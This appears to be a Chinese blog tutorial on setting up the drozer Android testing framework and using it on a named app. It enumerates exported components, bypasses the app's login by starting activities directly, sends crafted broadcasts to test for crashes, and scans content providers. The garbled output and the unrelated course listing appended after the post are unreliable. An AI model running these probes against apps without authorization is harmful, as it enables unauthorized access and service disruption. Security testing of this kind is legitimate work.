dorzer安装使用

dorzer安全测试

  1. 环境准备:

安装Microsoft Visual C++ 9.0     

win10系统的ssl设置 打开

安装逍遥安卓模拟器逍遥安卓模拟器   端口号:21503

安装python2.7,配置环境变量(python的安装路径配置在python里面安装路径,drozer的安装路径C:Python27\Scripts)

安装dorzer pc端, 模拟器或者手机端安装apk

安装JDK1.8

 

 

 

 

 

Microsoft Visual C++ 9.0安装包:   

Win10,ssl设置打开方法:

打开电脑开始菜单,选择设置菜单,然后控制面板,选择Internet项,选择高级菜单,选择里边的启用SSL2.0,设置一下就好了

python2.7 安装包:

Jdk 安装包:

逍遥模拟器安装包:

Dorzer pc端:

模拟器或者手机端:

 

Dorzer安装参考文档:

https://www.jianshu.com/p/4ef5b26dd3fb

 

pip3 install pytest-cov

 

  1. Drozer启动

 

双击启动drozer.bat服务,C:\Python27\Scripts\drozer.bat

打开模拟器,启动drozer客户端,点开启按钮,开启服务

 

命令行:进入模拟器安装路径:D:\Program Files\Microvirt\MEmu  

adb connect 127.0.0.1:21503

adb devices

 

 

命令行:进入drozer安装路径:C:\Python27\Scripts

adb forward tcp:31415 tcp:31415

drozer console connect

 

启动成功:

 

 

 

 

 

 

 

报错:

 

 

解决办法:

查看SDK  adb version版本:

查看模拟器下的adb version

 

 

 C:\Users\zmm\AppData\Local\Android\Sdk\platform-tools\adb.exe

用sdk的adb.exe替换模拟器下的adb.exe,重启

 

参考文档:

https://blog.csdn.net/wenzhi20102321/article/details/80934037

 

  1. Drozer命令使用

 

 

Dz>list

3.1、获取模拟器或者手机中app的基本信息

list命令列出Drozer所有功能模块

 

 

 

run app.package.list   查看模拟器中所有的安装包

dz> run app.package.list

com.android.providers.telephony (绉诲姩缃戠粶閰嶇疆)

com.microvirt.installer (瀹夎绯荤粺搴旂敤)

com.android.providers.calendar (鏃ュ巻瀛樺偍)

com.android.providers.media (濯掍綋瀛樺偍)

com.android.wallpapercropper (com.android.wallpapercropper)

com.shai.ihandle (鎺屼笂缃戜紭)

com.android.documentsui (鏂囨。)

com.android.externalstorage (澶栭儴瀛樺偍璁惧)

com.android.htmlviewer (HTML 鏌ョ湅绋嬪簭)

com.android.providers.downloads (涓嬭浇绠$悊绋嬪簭)

com.android.browser (娴忚鍣?

[Errno 0] Error

 

 

run app.package.list -f ihandle   利用关键字搜索报名

 

 

run app.package.info -a com.shai.ihandle  查看ihandle基本信息,数据存放路径,apk存放路径等

 

 

 

3.2、查看ihandle的可攻击点

run app.package.attactsurface com.shai.ihandle

 

 

3.2.1、查看对外的activity的组件信息

run app.activity.info -f com.shai.ihandle

 

 

 

 

3.2.2、模拟启动activity --app.activity.start

越权漏洞--绕过登录界面可直接访问基站搜索界面,说明存在越权漏洞,以下界面都可以绕过登录界面直接访问

 run app.activity.start --component com.shai.ihandle com.shai.ihandle.ihandle.ihandle.activity.MapQueryActivity1

 

 run app.activity.start --component com.shai.ihandle com.shai.ihandle.ihandle.ihandle.activity.SnavigationActivity

 

 

 

 

3.2.3、查看查看对外的broadcast组件信息

run app.broadcast.info -a com.shai.ihandle

 

 

 

3.2.3、发送恶意广播

run app.broadcast.send --action com.shai.ihandle.utils.MyJPushMessageReceiver --extra string JPushMessage  11111111111

 

 

3.2.4、尝试拒绝服务攻击检测

run app.broadcast.send --action com.shai.ihandle.utils.MyJPushMessageReceiver

向广播组件发送不完整的参数,应用是否停止运行   

 

3.2.5查看服务信息

run app.service.info -a com.shai.ihandle

 

 

 

3.2.6启动服务信息

 

run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService



3.2.7、获取Content Provider信息

扫描并获取Content Provider信息,并列出了可访问内容URI的列表和路径:

run scanner.provider.finduris -a com.shai.ihandle

 

 

 

 

 

3.2.7sql注入漏洞

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
完整版:https://download.csdn.net/download/qq_27595745/89522468 【课程大纲】 1-1 什么是java 1-2 认识java语言 1-3 java平台的体系结构 1-4 java SE环境安装和配置 2-1 java程序简介 2-2 计算机中的程序 2-3 java程序 2-4 java类库组织结构和文档 2-5 java虚拟机简介 2-6 java的垃圾回收器 2-7 java上机练习 3-1 java语言基础入门 3-2 数据的分类 3-3 标识符、关键字和常量 3-4 运算符 3-5 表达式 3-6 顺序结构和选择结构 3-7 循环语句 3-8 跳转语句 3-9 MyEclipse工具介绍 3-10 java基础知识章节练习 4-1 一维数组 4-2 数组应用 4-3 多维数组 4-4 排序算法 4-5 增强for循环 4-6 数组和排序算法章节练习 5-0 抽象和封装 5-1 面向过程的设计思想 5-2 面向对象的设计思想 5-3 抽象 5-4 封装 5-5 属性 5-6 方法的定义 5-7 this关键字 5-8 javaBean 5-9 包 package 5-10 抽象和封装章节练习 6-0 继承和多态 6-1 继承 6-2 object类 6-3 多态 6-4 访问修饰符 6-5 static修饰符 6-6 final修饰符 6-7 abstract修饰符 6-8 接口 6-9 继承和多态 章节练习 7-1 面向对象的分析与设计简介 7-2 对象模型建立 7-3 类之间的关系 7-4 软件的可维护与复用设计原则 7-5 面向对象的设计与分析 章节练习 8-1 内部类与包装器 8-2 对象包装器 8-3 装箱和拆箱 8-4 练习题 9-1 常用类介绍 9-2 StringBuffer和String Builder类 9-3 Rintime类的使用 9-4 日期类简介 9-5 java程序国际化的实现 9-6 Random类和Math类 9-7 枚举 9-8 练习题 10-1 java异常处理 10-2 认识异常 10-3 使用try和catch捕获异常 10-4 使用throw和throws引发异常 10-5 finally关键字 10-6 getMessage和printStackTrace方法 10-7 异常分类 10-8 自定义异常类 10-9 练习题 11-1 Java集合框架和泛型机制 11-2 Collection接口 11-3 Set接口实现类 11-4 List接口实现类 11-5 Map接口 11-6 Collections类 11-7 泛型概述 11-8 练习题 12-1 多线程 12-2 线程的生命周期 12-3 线程的调度和优先级 12-4 线程的同步 12-5 集合类的同步问题 12-6 用Timer类调度任务 12-7 练习题 13-1 Java IO 13-2 Java IO原理 13-3 流类的结构 13-4 文件流 13-5 缓冲流 13-6 转换流 13-7 数据流 13-8 打印流 13-9 对象流 13-10 随机存取文件流 13-11 zip文件流 13-12 练习题 14-1 图形用户界面设计 14-2 事件处理机制 14-3 AWT常用组件 14-4 swing简介 14-5 可视化开发swing组件 14-6 声音的播放和处理 14-7 2D图形的绘制 14-8 练习题 15-1 反射 15-2 使用Java反射机制 15-3 反射与动态代理 15-4 练习题 16-1 Java标注 16-2 JDK内置的基本标注类型 16-3 自定义标注类型 16-4 对标注进行标注 16-5 利用反射获取标注信息 16-6 练习题 17-1 顶目实战1-单机版五子棋游戏 17-2 总体设计 17-3 代码实现 17-4 程序的运行与发布 17-5 手动生成可执行JAR文件 17-6 练习题 18-1 Java数据库编程 18-2 JDBC类和接口 18-3 JDBC操作SQL 18-4 JDBC基本示例 18-5 JDBC应用示例 18-6 练习题 19-1 。。。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值